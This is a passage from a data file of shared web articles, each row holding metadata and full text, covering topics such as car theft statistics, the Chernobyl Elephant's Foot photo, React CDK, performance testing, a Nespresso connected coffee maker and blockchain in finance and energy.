commonly stolen cars. Invariably they are old, mundane cars. For the last several years, Honda Civics, Honda Accords, and Toyota Camrys sold in the early to mid 1990s topped the list. As Frank Scafidi of the NICB explains, there are simply ""gazillions"" of these cars on the road, and their lack of newer, anti-theft technology makes them easier to steal. But the real reason thieves target these old cars is for their lucrative parts. ""Investigations often lead us to chop shops,"" says Scafidi. ""Those cars are stolen for parts."" Since so many people need their old Toyota Camry or Honda Accord fixed, there is a robust market for spare parts. And many chop shops will happily fence stolen parts. Of course, expensive luxury cars are a favorite target as well. A different database from the National Highway Traffic Safety Administration lists the cars with the most insurance claims per 1,000 vehicles on the road. It doesn't distinguish between the theft of items within a vehicle versus the car itself. But it's telling that the cars that top the list are luxury cars like the $92,000 Audi S8 and BMW's M5 sedan. It seems that most thieves steal old sedans to quickly sell their parts, while the Gone in 60 Seconds wannabes steal luxury cars. Even though it's counterintuitive, there's a simple reason for why stores can be more protective of cheap products than expensive ones. As a Walgreens cashier explains, ""It's easy to sell on the street. Everyone uses soap."" Our next post explores a glorious period of America's past, when lobbying was illegal . To get notified when we post it → An earlier version of this story was published on March 21, 2014. If you're a company that wants to work with Priceonomics to turn your data into great stories, learn more about the .",en
1460718043,CONTENT SHARED,-8391512412740651574,-2979881261169775358,-495451901583314471,,,,HTML,http://www.atlasobscura.com/articles/the-famous-photo-of-chernobyls-most-dangerous-radioactive-material-was-a-selfie,The Famous Photo of Chernobyl's Most Dangerous Radioactive Material Was a Selfie,"At first glance, it's hard to know what's happening in this picture. A giant mushroom seems to have sprouted in a factory floor, where ghostly men in hardhats seem to be working. But there's something undeniably eerie about the scene, for good reason. You're looking at the largest agglomeration of one of the most toxic substances ever created: corium. In the days and weeks after the Chernobyl nuclear disaster in late April 1986, simply being in the same room as this particular pile of radioactive material-known as the Elephant's Foot-would have killed you within a couple of minutes. Even a decade later, when this image was taken, the radiation probably caused the film to develop strangely, creating the photo's grainy quality. The man in this photo, Artur Korneyev, has likely visited this area more than anyone else, and in doing so has been exposed to more radiation than almost anyone in history. Remarkably, he's probably still alive. The story of how the United States got a hold of this singular photo of a human in the presence of this incredibly toxic material is itself fraught with mystery-almost as much as why someone would take what is essentially a selfie with a hunk of molten radiated lava. This picture first came to America in the late 1990s, after the newly independent Ukrainian government took over the plant and set up the Chornobyl Center for Nuclear Safety, Radioactive Waste and Radioecology (spelling often gets changed as words go from Russian to English). Soon after, the center invited other governments to collaborate on nuclear safety projects. The U.S. Department of Energy tapped the Pacific Northwest National Laboratories (PNNL)-a bustling science center up in Richland, Washington-to help. At the time, Tim Ledbetter was a relatively new hire in PNNL's IT department, and he was tasked with creating a digital photo library that the DOE's International Nuclear Safety Project could use to show its work to the American public (or, at least, to the tiny sliver of the population that was online back then). He had project members take photos while they were in Ukraine, hired a freelance photographer to grab some other shots, and solicited images from Ukrainian colleagues at the Chornobyl Center. Intermixed with hundreds of images of awkward bureaucratic handshakes and people in lab coats , though, are a dozen or so shots from the ruins inside Unit 4, where 10 years before, on April 26, 1986, a reactor had exploded during a test of the plant turbine-generator system. As radioactive plumes rose high above the plant, poisoning the area, the rods liquefied below, melting through the reactor vessel to form a substance called corium, perhaps the most toxic stuff on Earth. Corium has been created outside of the lab at least five times, according to Mitchell Farmer , a senior nuclear engineer at Argonne National Laboratory, another Department of Energy center outside of Chicago. Corium formed once at the Three Mile Island reactor in Pennsylvania in 1979, once in Chernobyl, and three separate times during the Fukushima Daiichi meltdown in Japan in 2011. Farmer creates modified versions of corium in the lab in order to better understand how to mitigate accidents in the future. Research on the substance has found, for example, that dumping water on it after it forms actually does stop some fission products from decaying and producing more dangerous isotopes. Of the five corium creations, only Cherobyl's has escaped its containment. With no water to cool the mass, the radioactive sludge moved through the unit over the course a week following the meltdown, taking on molten concrete and sand to go along with the uranium (fuel) and zirconium (cladding) molecules. This poisonous lava flowed downhill, eventually burning through the floor of the building. When nuclear inspectors finally accessed the area several months after the initial explosion, they found that 11 tons of it had settled into a three meter wide grey mass at the corner of a steam distribution corridor below. This, they dubbed the Elephant's Foot. Over the years, the Elephant's Foot cooled and cracked. Even today, though, it's still estimated to be slightly above the ambient temperature as the radioactive material decomposes. Ledbetter's not able to remember exactly where he got these images. He compiled the library almost 20 years ago, and the website on which they were hosted is in rough shape; only thumbnails of the images are left. (Ledbetter, who still works at PNNL, was surprised to learn that any of the site was still publicly accessible.) But he's sure he didn't hire someone to take photos of the Elephant's Foot, so they likely were sent in by a Ukrainian colleague. In 2013, Kyle Hill stumbled across the image, which had been shared several times on the internet in the ensuing years, while writing a piece about the Elephant's Foot for Nautilus magazine, and tracked it back to the old PNNL site. Following his lead, I went back there to look for more details. After a little digging through the site's CSS coding, I was able to locate a long-lost caption for the image : ""Artur Korneev, Deputy Director of Shelter Object, viewing the 'elephants foot' lava flow, Chornobyl NPP. Photographer: Unknown. Fall 1996."" Ledbetter confirmed the caption matched the photo. Korneev turns out to be an alternate spelling for Korneyev. Artur Korneyev is a dark-humored Kazakhstani nuclear inspector who has been working to educate people about-and protect people from-the Elephant's Foot since it was first created by the explosion at the Chernobyl nuclear plant in 1986. The last time a reporter spoke to him, as far as I can tell, was in 2014, when New York Times science reporter Henry Fountain interviewed him in Slavutich , Ukraine, a city built especially to house the evacuated personnel from Chernobyl. I wasn't able to locate Korneyev for an interview, but it's possible to put together clues embedded in the photos to explain the image. I looked through all the other captions of photos similar photos of the destroyed core, and they were all taken by Korneyev, so it's likely this photo was an old-school timed selfie. The shutter speed was probably a little slower than for the other photos in order for him to get into position, which explains why he seems to be moving and why the glow from his flashlight looks like a lightning flash. The graininess of the photo, though, is likely due to the radiation. For Korneyev, this particular trip was only one of hundreds of dangerous missions he's taken to the core since he first arrived on site in the days following the initial explosion. His initial job was to locate the fuel deposits and help determine their radiation levels. (The Elephant's Foot initially gave off more than 10,000 roentgens an hour, which would kill a person three feet from it in less than two minutes.) Soon after that, he began leading cleanup efforts, sometimes even kicking pieces of solid fuel out of the way. More than 30 workers died from Acute Radiation Syndrome during the explosion and ensuring cleanup. Despite the incredible amount of exposure, Korneyev kept returning inside the hastily constructed concrete sarcophagus, often with journalists in tow to document the dangers. In 2001, he brought a reporter from the Associated Press back to the core , where the radiation still measured 800 roentgens an hour. In 2009, Marcel Theroux, the celebrated novelist (and son of writer Paul Theroux and cousin of actor Justin Theroux) wrote an article for Travel + Leisure about his trip to the sarcophagus and the mad, maskless guide who mocked Theroux's anxiety as ""purely psychological."" While Theroux refers to him as Viktor Korneyev, it's likely the man is Artur, as he made the same dark joke he would a few years later in a New York Times article. His current status is murky. When the Times caught up to Korneyev a year and a half ago, he was helping to plan construction of a $1.5 billion arch that, when finished in 2017, will cap the decaying sarcophagus and prevent airborne isotopes from escaping. In his mid 60s, he was sickly, with cataracts, and had been barred from re-entering the sarcophagus after years of irradiation. Korneyev's sense of humor remained intact, though. He seemed to have no regrets about his life's work. ""Soviet radiation,"" he joked, ""is the best radiation in the world.""",en
1460718504,CONTENT SHARED,-3792933059425955471,-2979881261169775358,-495451901583314471,,,,HTML,http://www.bbc.com/news/technology-36044000,Warcraft fans' fury at Blizzard over server closure - BBC News,"A petition to allow gamers to run their own servers for the original World of Warcraft (WoW) game has attracted almost 100,000 signatures online. Games studio Blizzard Entertainment no longer operates servers for the original WoW, which was first released in 2004, so some fans run their own. On 10 April, a popular fan server known as Nostalrius, with 150,000 active members, was closed after the threat of legal action by Blizzard Entertainment. Blizzard has yet to respond to the BBC. World of Warcraft is an online multi-player game in which players explore a vast landscape, complete quests and interact with other gamers. The original game from 2004 has since been updated with new instalments that some players say have materially changed the experience of the game, so some fans have set up their own servers to play the original, ""vanilla"" WoW. Blizzard has previously said it had no plans to reopen access to the ""classic"" game. ""We realise that some of you feel that World of Warcraft was more fun in the past than it is today, and we also know that some of you would like nothing more than to go back and play the game as it was back then,"" wrote a Blizzard community manager in 2011. ""The developers however prefer to see the game continuously evolve and progress, and as such we have no plans to open classic realms or limited expansion content realms."" The decision to close fan-run server Nostalrius, which had attracted 800,000 players during its year online, has prompted anger from parts of the online gaming community. Many who commented on the closure acknowledged the fact that running servers such as Nostalrius was technically illegal but said Blizzard should support non-profit fan-driven projects to keep the game going. ""World of Warcraft meant a lot, to a lot of people,"" said YouTube gamer Jon Jafari in a widely-shared video. ""It might seem silly because it's just a game... but this game was a big part of my life and a lot of people's lives. All these people want to do is go back and play it. ""If the server is making a profit, I can see them taking down something like that - but a lot of these are just for the love of the old game."" Commenting on its closure , the team behind Nostalrius posted: ""We never saw our community as a threat for Blizzard. It sounds more like a transverse place where players can continue to enjoy old World of Warcraft's games no longer available.""",en
1460720289,CONTENT SHARED,3162261384765351942,-1578287561410088674,5787554814785641136,,,,HTML,https://voice.kadira.io/say-hello-to-react-cdk-97cff692e798?gi=380f41ab314f,Say Hello to React CDK - KADIRA VOICE,"Say Hello to React CDK This is a C omponent D evelopment K it for React. It's not a just another boilerplate, but something much much more, and it comes with support from Kadira . Why? React is awesome. You can build cool stuff with React and you may want to share what you've built with the community. But, that can be hard. Setting up the development environment is pretty damn hard. And we (the community) already discussed this . (JS Fatigue) Even if you are really good at setting up the correct build tools, maintaining those build tools and keeping them up to date is pretty hard. And it gets worse if you are maintaining a few different React projects. React CDK is not an answer to JS Fatigue, but it does allow you to create React components and utilities without worrying about build tools and blah blah blah. You'll get the maximum flexibility and we haven't re-invented anything. &#x1f913;: Sounds cool. Tell me more. What React CDK Is? React CDK is a yeoman generator and a set of build tools that makes development of React components simple and fun. There a lot of things you can do with it, including: Creating a project with a single command. Writing a component in ES2015+ syntax. Using a live development environment with React Storybook. Writing tests with Mocha and Enzyme right away. Working with Eslint with an Airbnb style guide. Publishing correctly transpiled code into NPM. Deploying your storybook to GitHub Pages. Getting updates to the core building tools (so, you are always up to date). &#x1f913;: Okay. How should I get started? Simple. Just install React CDK with: npm install -g yo generator-react-cdk You may not want to install yo, if you've installed it previously. If you don't know what yo is, don't worry. Then you can create a project with: yo react-cdk react-wizard It'll create a project under the react-wizard directory with a set of files. It's a typical NPM module configured for React and some other tools. All the source files live in the src directory and that's the place you need to worry about. You can start developing a component by editing src/index.js in your favorite editor. &#x1f913;: This is not something new. We have a lot of yeoman generators and React boilerplates. Yeah! This is where it's different. Keep reading. Live Development Environment You always need a sample app to test your component. You can use your own app, but there should be a better way. We recently launched React Storybook. It's the perfect tool for this. Simply run: npm run storybook Then you'll have a storybook console, configured to use your component. You can write stories inside the src/stories directory. With this method, you'll able to see what your component looks like while you are still developing it. Also, you'll be able to test different states of your component visually. Testing, Linking and More React CDK will configure your project with the best JavaScript code quality tools. It uses the Airbnb JavaScript style guide as a reference. It is also configured for Enzyme and JSDOM for simple React testing. You can even publish your storybook into GitHub Pages in a single command. To learn more about React CDK , visit here . Support and Updates Unlike any other boilerplate or generator, you can update the tools inside this project with a single command. That means you never need to worry about keeping your build tools up to date. Let us worry about it. Here's how you can update your project: This will update your component dev tools to the latest and greatest. You never need to worry about updating them manually. &#x1f913;: This is great, but can I change those build tools and configure them as I want? Of course, yes . We've written it in a way that allows you to configure your project and build tools as you want (and in the way you're used to doing). For this, refer to the configuration guide . Build, Share and Help I hope you guys have a lot of cool ideas and you want to share a lot of the cool stuff that you've build inside your project (and your company). Let's make things happen by sharing them with the React community. We'd all love to see them. I hope React CDK makes things simple for you and saves you time. You can also convert your existing components into React CDK. You simply move your source files and add NPM dependencies to package.json . I'd like to see how you are using React CDK. And let us know how we can improve this project. Follow KADIRA VOICE for more articles like this.",en
1460722194,CONTENT SHARED,7620697593009487898,8656322302973426874,-8696445549480994907,,,,HTML,http://freebiesbug.com/code-stuff/spotify-ui-html-css/,Spotify UI built with HTML / CSS - Freebiesbug,"Here is an interesting experiment about redesigning the Spotify UI with HTML, CSS and few lines of javascript . The interface is responsive and very similar to the official app look. Coded by Adam Lowenthal . View on Codepen Posted on in and tagged Code stuff , app , music , player . HTML Players This post has been viewed 1628 times.",en
1460722602,CONTENT SHARED,-8723313435347324769,-1032019229384696495,7259650109158347070,,,,HTML,http://techcrunch.com/2016/04/14/shuddle-the-uber-like-service-for-getting-your-kids-around-is-shutting-down-tomorrow/,"Shuddle, the Uber-like service for getting your kids around, is shutting down tomorrow","If you're a fan of Shuddle's uber-style driving service for getting your kids to school/playdates/etc, bad news: they're shutting (shudding?) the doors tomorrow. Shuddles main pitch point was their focus on safety: they did intense background checks on drivers, monitored drivers to ensure they stayed on route and didn't speed or text while driving, and offered real-time ride tracking to parents. News of the shutdown comes by way of an email sent to customers this afternoon, and it all certainly seems pretty sudden - they'll cease operating at the end of tomorrow's business day. Shuddle is promising to pay out drivers with remaining balances within the next few days. The company had raised around $12.2 million dollars to date, according to Crunchbase - most recently having raised $9.6m in March of last year. Here's the full text of the shutdown notice: Hi [name removed], On behalf of the entire team here at Shuddle, we are saddened to inform you that Shuddle will be ceasing operations and closing business as of end-of-the-day Friday, April 15th. We worked hard to find the financial resources that would allow us to continue to grow, but ultimately could not raise the funding required to continue operations. We will be supporting rides for families and drivers through Friday, April 15th with the same commitment to safety, trust and reliability for which Shuddle is known. We would sincerely appreciate your help in supporting families through our last day of business. Drivers will be issued final payment invoices on Monday, April 18th for all rides given through Friday. Standard payment procedures apply whereby payments may take 1-2 business days to appear in your account. Phone support will be available through Friday. Email support will be available through Monday, April 18th. For any general questions you may email support@shuddle.us, for payment questions you may email payments@shuddle.us. 1099-MISCs will be issued to any driver who has received more than $600 in 2016 payments from use of the Shuddle Services. This may include, but is not limited to: payments for Shuddle Rides, bonuses, reimbursements, and promotional events. 1099-Ks will be issued to any driver who has made more than $20,000 and has more than 200 transactions in 2016. To make sure that you are following tax laws or if you have any questions about how to file your tax return, including any potential deductions based upon your use of the Shuddle Services, we encourage you to consult a tax professional. We hope our drivers find new flexible work opportunities that you enjoy, and we take our hats off to our parent customers who work so hard everyday to help their kids get safely to school, home and fun. Thank you for making Shuddle a part of your lives. Safe journeys, Team Shuddle",en
1460727723,CONTENT SHARED,6583734846225935852,-2623844842607044962,7622703213275261749,,,,HTML,https://macuserbrasil.wordpress.com/2016/04/01/no-ano-em-que-a-apple-completa-40-anos-confira-a-evolucao-do-iphone/,"No ano em que a Apple completa 40 anos, confira a evolução do iPhone","Nesse ano em que a firma de Cupertino completou 40 anos de existência, amada por muitos, odiada por alguns. Ninguém pode negar que ela mudou a história no ramo da tecnologia, uma empresa que começou em uma garagem de casa, por 2 gênios: Steve Jobs e Steve Wosniak. Ela foi fundada no dia 1 de abril de 1976, revolucionou o segmento de computador pessoal, tocadores de música, notebooks e eu acho que nem preciso citar as marcas que já estão eternizada na mente dos seus usuários. Porém, uma criação dela, merece um super infográfico, o blockbuster iPhone. Nunca um aparelho de telefone, ou melhor smartphone, mudou e influenciou tanto o ramo da telefonia móvel como o aparelho da Apple. Quando ele foi lançado em 2007 , não existia um aparelho com uma tela tão grande como o do iPhone 2G/Classic/Original com os seus 3,5 polegadas de tela , um dos primeiros a implementar a tela sensível ao toque, efetuar ligações telefônicas e o principal, navegar na internet , que convenhamos foi o grande diferencial, porque a partir daí, todos os outros fabricantes de smartphones praticamente seguiram a mesma trilha iniciada pelo iPhone, com telas maiores, acesso a internet, etc. O resto da história você já sabe, mas como recordar é viver, confira um infográfico bem interessante a seguir: Bacana né?!&#x1f609; via tecnologiauol",pt
1460735648,CONTENT SHARED,-4562218760600603086,4209517478660372522,-4063339266710457570,,,,HTML,https://www.thoughtworks.com/insights/blog/performance-testing-nutshell?utm_campaign=software-testing&utm_medium=social&utm_source=twitter,Performance Testing in a Nutshell,"It is very easy to forget about performance testing and its importance while delivering software under tight deadlines. It is also a challenge to convince the client to start with performance testing right from the beginning of the project, rather than treat it as a second class citizen. Whether we are developing an ecommerce website or a mobile app, we need to be prepared for the traffic that is going to hit us. More importantly, we need to understand, estimate and analyze, based on past and future trends, the level of traffic that we are going to expect, and how efficiently we are going to serve them without any dropouts. Also, if we hit the peak loads, then how are we going to gracefully handle the additional load? These are some of the questions that I start asking myself and the stakeholders at the beginning of the project. The stakeholders will have to take a call on how much to invest in performance testing, based on the business impact, versus the cost of delivering to their performance expectations. Performance testing is an ongoing task throughout the life cycle of the project. It not only involves testers, but also developers and operations to run and maintain the application to its performance expectations. Performance testing has always been challenging and equally interesting to me. It requires multifaceted skill-sets from writing test scripts, monitoring and analyzing test results, tweaking the application and repeating the whole process again. As part of performance testing an application, we also take part in Load and Soak testing at the very least. I will be covering this, along with front end performance testing, in a separate blog. There are various elements to consider when coming up with a back end performance test strategy. Environments Cloud vs Physical Hardware Traditionally, running the performance tests from local dev boxes was the norm, but it would limit you to the performance of the dev box itself. Harnessing the power of cloud computing and using a cloud provider to run your tests, is what I find economical and low maintenance. Another approach is to buy beefy hardware and spin up multiple virtual machines to simulate tests. This may be comfortable for companies who are limited by their VPNs, firewalls and may not be able to access local environments from outside the network. Configuration I would make sure that my environments are configured to what is expected, both in terms of software (OS, application etc.) and hardware (infrastructure, architecture etc.). Ideally, the configuration should be as close to production as possible. Scaling We had the capability to automatically scale up/down the number of machines we used in the environment, based on the traffic. If you are using a cloud based provider, this usually is a cost effective solution, where you only pay for what you use. The ability to scale up sometimes gives a little bit of breathing space when the traffic goes up. Independent Infrastructure It would be ideal if the environments are on an independent infrastructure. If they are in a shared environment, then we need to analyze how much and how often other systems, outside our realm, impact the performance of the application. Scripts Session Handling Initially, I used to find it tricky to write performance tests with multiple user logins, as it involved user sessions. On the one hand, I had to get the dynamically generated sessions and on the other, I had to make sure that the sessions did not clash with each other while the tests were running. Recently, I started to grab the session id from the browser and inject that in the test script as a parameter value. At the same time, I force the test to use a new browser for every session. Caching While coding, we should make sure that static content is cached to some level. In two of my projects, the static content being served from one of the services was eating up all its memory. As a byproduct, we started observing memory leaks with performance degradation. Test Pyramid We can write and run the performance tests at different levels, just like functional tests. We can have performance tests written at a service level to test its individual performance. We can have an inter-service level to test the performance between a few services. And finally, at a user journey level to test the performance of all the services and the system as a whole. Having structured performance tests at different levels greatly helps us in identifying, narrowing and quickly diagnosing the performance issues. Monitoring Monitoring the results of the performance test is equally important. What and how you monitor plays a significant role. How to Monitor Your Metrics Ideally, the monitoring tools should be sitting as close to the application servers as possible, to avoid network lags and loss of data points. On the other hand, if the monitoring tools are sharing the same resources as the system under test, then that too may affect the performance of the application. I would avoid taking into account the network lag into the metrics. We can do only so much about it. And, it would also hide the actual problems in the system under test. What Metrics to Monitor At an application level, the two main metrics that one needs to usually monitor are the Response Times (how long it takes to serve a request) and Throughput (how many requests it can serve per second). At an infrastructure level, we should be keeping an eye on CPU usage and memory for various machines and services. Graphite is a tool that we used on several projects for monitoring. Jemalloc along with JProfile are really good tools to analyze memory usage in services. Record Your Metrics It is very important to keep a record of the different metrics from the test results. The trend helps us to trace back and analyze any improvement or deterioration of the performance, based on the changes we have made over time. Analyze Your Metrics Once we run the performance test and analyze the results, it is time to tackle the problem. Finding the bottleneck and fixing it may result in another bottleneck surfacing up. Scripting Tools Like any other development tool on a project, we need to carefully choose the right performance tools. The tools may vary, based on the programming language you are using. Like automated functional tests, the higher the level of performance tests, the more difficult it is to analyze a performance issue. Some of the criteria that I would consider while choosing a tool are Easy to create and maintain user agents Easy to create and maintain tests Debug and validate your scripts through in-built logging Can easily simulate multiple user sessions during the test Ability to ramp up and ramp down users Parameterisation of test data Works for both API and Web Can run across environments Keeps history of the test runs Customized graphical test result reporting with various parameters Good support through email Can be automated to run on CI ( Jenkins , TeamCity , GO and New Relic ) Can spit server metrics (CPU, memory etc) Works on mobile Spins up tests in various browsers Simulates different network speeds including 3G Load Impact is the tool that satisfied most of these criteria. In my previous projects, I have also used Browsermob (Neustar) and JMeter . Some Lessons to Take Away Say No to Background Tasks Application services and databases should not be doing any background tasks (data analysis, generating mass emails etc.), when their primary purpose is to serve the customer. You should have other instances of these services, which are not serving the end user, to perform the background tasks. One Parameter Principle While performance testing, change one parameter at a time. For example, do not change the script and the application build at the same time. In that case, if you see any discrepancies in performance, then you do not know whether it was the application build or the script that caused it. Hence, you need to create baselines for every change you make and take baby steps to analyze your results. Think Like a Real User Make sure that the performance test scripts depict actual user behavior. If there is a legacy system, this would help in comparing the stats generated from production to the stats on the performance environment. Cache or No Cache Something that helps increase the performance of the system is caching. At the same time, too much of caching will not help either. We should cache intelligently. Otherwise, users would start seeing stale information. Caching can be considered at several levels. You can have caching from the content delivery network (CDN) level, to the application level or even at the service / database levels. Beware of Expensive Queries Sometimes, database queries too can be expensive. The queries, if not given enough attention, may slow the running or use up all the databases resources. So these should be monitored and the calls should be minimized. Minimize Additional Calls Sometimes, a section of the page would make extra calls to the backend systems to retrieve additional information, even though not all end users may require to view it. So it would be better to analyze these cases and wrap the sections under expanding links, such that the additional calls would be made only when a user genuinely wants that information and clicks on the link. In a nutshell, this is an overview of some of the things one may look out for while performance testing. I am sure you may come across many other challenges based on different project conditions, but the underlying principles which I've outlined here would more or less remain the same.",en
1460735810,CONTENT SHARED,3689128258624052102,-5803328010978180572,166134078931949885,,,,HTML,http://www.jornaldacidadeonline.com.br/noticias/2501/deputada-mais-jovem-da-camara-silencia-o-plenario-com-lucidez-do-discurso-veja-o-video,Deputada mais jovem da Câmara silencia o plenário com lucidez do discurso (veja o vídeo),"Deputada mais jovem da Câmara silencia o plenário com lucidez do discurso (veja o vídeo) Mariana Carvalho, deputada de Rondônia, 29 anos, médica e advogada, surpreendeu o plenário da Câmara Federal com o discurso mais incisivo e lúcido até o momento, a favor do impeachment da presidente Dilma Rousseff. A paulistana, radicada em Rondônia, onde iniciou suas atividades políticas com apenas 16 anos de idade, conseguiu em apenas 15 minutos, sintetizar todos os motivos e motivações que frustraram a população brasileira, após a reeleição da presidente Dilma Rousseff. O plenário da Câmara silenciou para ouvir a jovem parlamentar. Mariana Carvalho, não obstante a pouca idade, tem uma imensa bagagem política. Foi presidente do PSDB jovem em Rondônia, vereadora em Porto Velho, candidata a prefeita em 2012 e deputada federal em 2014, a terceira mais votada do estado, alcançando o percentual de 7,55% dos votos. Vale a pena ver o discurso da Redação Veja o vídeo: Se você é a favor de uma imprensa totalmente livre e imparcial, colabore curtindo a nossa página no Facebook e visitando com frequência o site do Jornal da Cidade Online",pt
1460736782,CONTENT SHARED,-3211843544085892873,4340306774493623681,5613188264916540247,,,,HTML,http://www.coindesk.com/dtcc-ceo-2015-blockchain-disruption/,DTCC CEO Addresses Blockchain Disruption in Annual Shareholder Letter - CoinDesk,"In a letter to shareholders, the chief executive of clearinghouse giant DTCC wrote that the company seeks to be ""at the forefront"" of the development of blockchain and distributed ledger applications in the finance space. President and CEO Michael Bodson wrote in the letter that the company - which recently held a symposium on the technology and is working with industry startup Digital Asset Holdings on a post-trade blockchain trial - wants to play an active role in the exploration and adoption of the technology In the letter , under a subsection entitled ""Embracing Disruption"", Bodson described how DTCC sought counsel with industry stakeholders, going as far as establishing an ""Office of Blockchain Strategies and Research"" to spearhead internal experimentation. Bodson wrote: ""We intend to be at the forefront of this issue by helping to spearhead industry experiments and use cases, serving as a leader in the governance of open source, fostering collaboration among market participants and by making strategic investments in partners that can help advance the technology."" Bodson called the potential presented by the technology a ""once-in-a-generation opportunity"", while at the same time reflecting on the oft-hyped nature of blockchain - a possible nod to a January white paper released by DTCC that aimed to calm expectations at major financials. ""While the rhetoric may have been overheated at times, the fact is that we are excited by this once-in-a-generation opportunity to reimagine the post-trade infrastructure to address long-standing operational challenges,"" he wrote. While Bodson did not make specific commitments or announcements in the letter, DTCC has moved in recent weeks to stake its ground in the blockchain space, announcing its partnership with Digital Asset and indicating that it would be open to an evolution of its business model in the face of a shifting technological landscape.",en
1460738006,CONTENT SHARED,-6009377241272750648,801895594717772308,8460091227257577959,,,,HTML,https://www.nespresso.com/br/pt/pages/cafeteira-conectada-prodigio,Nespresso,"Compre a Prodigio Prodigio Agora o seu telefone pode fazer o café perfeito com a Prodigio - a primeira cafeteira conectada da Nespresso - e com o nosso aplicativo mobile, capaz de gerenciar o seu estoque de cápsulas, agendar a preparação de um café e oferecer conteúdo de assistência e cuidados com a máquina. PRODIGIO&Milk A PRODIGIO&Milk vem com um Aeroccino integrado. Com ele, você poderá criar uma espuma de leite cremosa e outras bebidas como cappuccinos, lattes machiattos e as suas receitas de café com leite preferidas. Características Conectividade: gerenciamento do estique de cápsulas, agendamento da preparação do café e alertas de manutenção. Tamanhos de xícaras: Ristretto, Espresso & Lungo Ejeção automática de cápsulas Reservatório de água rotativo Aquecimento rápido em até 25 segundos O que a máquina conectada da Nespresso faz: Gerenciamento do estoque de cápsulas Programação de extração de café Assistência técnica Desfrute da melhor experiência em café Conveniência Com as opções de três tamanhos de xícara, um sistema de ejeção de cápsulas automático e aquecimento rápido, desfrutar seu café torna-se tão simples como deveria ser. A Prodigio também cabe facilmente em qualquer espaço graças ao seu tanque de água rotatório. O suporte para xícaras pode ser levantado para acomodar um copo de receitas. Simplicidade Para tornar a sua experiência ainda mais simples, as máquinas Prodigio possuem duas luzes que indicam quando a sua atenção for necessária. A luz com o logo da Nespresso se acende quando o seu estoque de cápsulas estiver baixo, assim você nunca ficará sem seu café preferido. A luz de manutenção se acende quando o tanque de água estiver vazio, o reservatório de cápsulas usadas estiver fora ou cheio ou uma descalcificação for necessária. PRODIGIO&milk A PRODIGIO&Milk vem com um Aeroccino integrado. Com ele, você poderá criar uma espuma de leite cremosa e outras bebidas como cappuccinos, lattes machiattos e as suas receitas de café com leite preferidas. Meu aparelho é compatível? Baixe o aplicativo Nespresso para o seu aparelho: FAQs O que é uma bomba de alta pressão? Todas as máquinas da Nespresso são equipadas com uma bomba de alta pressão. Ela provê a energia necessária para perfurar o filme da cápsula e liberar os aromas do café. A forma da cápsula da Nespresso foi desenhada para que a água sob pressão possa fluir igualmente através de todo o café durante a extração. Eu preciso de uma conta de membro para usar a conectividade? Sim, uma conta de membro válida é necessária para usar as funções de conectividade da sua Prodigio e Prodigio&Milk. Uma conta de membro única deve ser ligada a uma única máquina. Meu aparelho não consegue encontrar a minha máquina/Estou com problemas para me conectar com a minha cafeteira. O que devo fazer? Tenha certeza de que o Bluetooth está ativado no seu aparelho, que a sua máquina está ligada e que você está próximo dela quando estiver tentando se conectar. Os passos a seguir podem ajudar a resolver um problema de conexão: 1) Tenha certeza de que o aplicativo não está aberto em nenhum outro aparelho 2) Feche o aplicativo da Nespresso 3) Remova a Prodigio da lista de aparelhos Bluetooth do seu celular 4) Reinicie o seu aparelho 5) Aplique as configurações de fábrica à sua máquina. Veja abaixo como fazer. 6) Verifique que o seu aparelho é compatível com a máquina. visite: www.nespresso.com/prodigio. Estas operações devem ajudar a resolver o problema. Caso você ainda não consiga conectar, o problema pode estar ligado ao ambiente. Aparelhos Bluetooth ou microondas muito próximos podem causar interferências na sua conexão. Se você ainda tiver dúvidas, entre em contato com o Nespresso Club. O fluxo de café da minha Prodigio está baixo. Se o fluxo de café estiver muito baixo verifique que:1) O fio de alimentação não está preso entre o tanque de água e a máquina 2) A reservatório de água está suficientemente cheio e corretamente posicionado 3) A sua máquina está ligada 4) A sua cafeteira pode estar precisando de uma descalcificação. Por que a luz de manutenção ou o logo da Nespresso estão acesos? A luz de manutenção tem vários significados: a sua máquina pode precisar de uma descalcificação; o reservatório de água está vazio; o reservatório de cápsulas está cheio etc. Verifique o aplicativo da Nespresso para entender o problema. Já o LED da Nespresso avisa quando as suas cápsulas estiverem acabando, assim você não esquecerá de comprar os seus cafés favoritos. Compo eu aplico as configurações de fábrica à minha máquina? Para reprogramar sua máquina de acordo com as configurações de fábrica, desligue a sua cafeteira e, em seguida, pressione simultaneamente os botões de lungo e espresso por 5 segundos. Quando o processo estiver completo, o LED de manutenção piscará. Note que se os três botões de tamanho de xícara estiverem acesos antes desta operação, a sua máquina apenas entrará em modo de espera. Neste caso, você precisará repetir o mesmo procedimento. Também é possível fazer o mesmo através da aplicação mobile. Pressione o ícone da máquina e selecione a opções de detalhes da sua cafeteira. Pressione a opção de reinicialização da máquina com as configurações de fábrica. Os ajustes de fábrica para lungo, espresso e ristretto são respectivamente 110 ml, 40ml e 25ml. A máquina é desligada após 9 minutos de inatividade e o nível de dureza da água é automaticamente selecionado como o mais duro (corresponde à preparação de 1000 xícaras de espresso) Como eu posso cuidar da minha máquina?? 1) Descalcifique a sua máquina pelo menos uma vez por ano se a água que você utiliza não for dura. Para águas mais duras, aconselhamos a descalcificação duas vezes por ano. Para descobrir a dureza da sua água, observe o reservatório: água mais dura tende a deixar marcas brancas) 2) Troque a água do reservatório regularmente, usando água fresca e potável a cada troca 3) Esvazie e limpe o reservatório de cápsulas usadas regularmente 4) Se você possui um Aeroccino, ative o ciclo de limpeza após cada uso 5) Antes de usar a máquina pela primeira vez, pressione qualquer botão sem colocar uma cápsula para extrair apenas água. Você tem outras perguntas?",pt
1460738720,CONTENT SHARED,230807360572081472,4340306774493623681,5613188264916540247,,,,HTML,http://www.coindesk.com/ethereum-used-first-paid-energy-trade-using-blockchain-technology/,Ethereum Used for 'First' Paid Energy Trade Using Blockchain Tech - CoinDesk,"Two Brooklyn residents used the Ethereum blockchain today to facilitate a transaction that let one sell energy directly to the other. The neighbors accomplished the exchange thanks to LO3, a green energy startup working to do to the energy industry what blockchain is already doing to banks. LO3 co-founder Lawrence Orsini said that the exchange is designed to demonstrate how everyday people can use blockchain to facilitate peer-to-peer exchange. Orsini told CoinDesk: ""All the projects that we're working on are squarely focused on the emerging distributed economy, peer to peer concepts. They're all squarely focused on distributing and decentralizing assets into communities, into people's hands, the new economy of the future."" A new kind of partnership The joint effort called TransActive Grid, struck between between LO3 and decentralized applications startup ConsenSys, allowed Brooklyn resident Eric Frumin to sell excess renewable energy generated from his own solar panels directly to Bob Sauchelli, a former program manager at EnergyStar, a government-backed green energy initiative. Every unit of energy created by Frumin is being counted 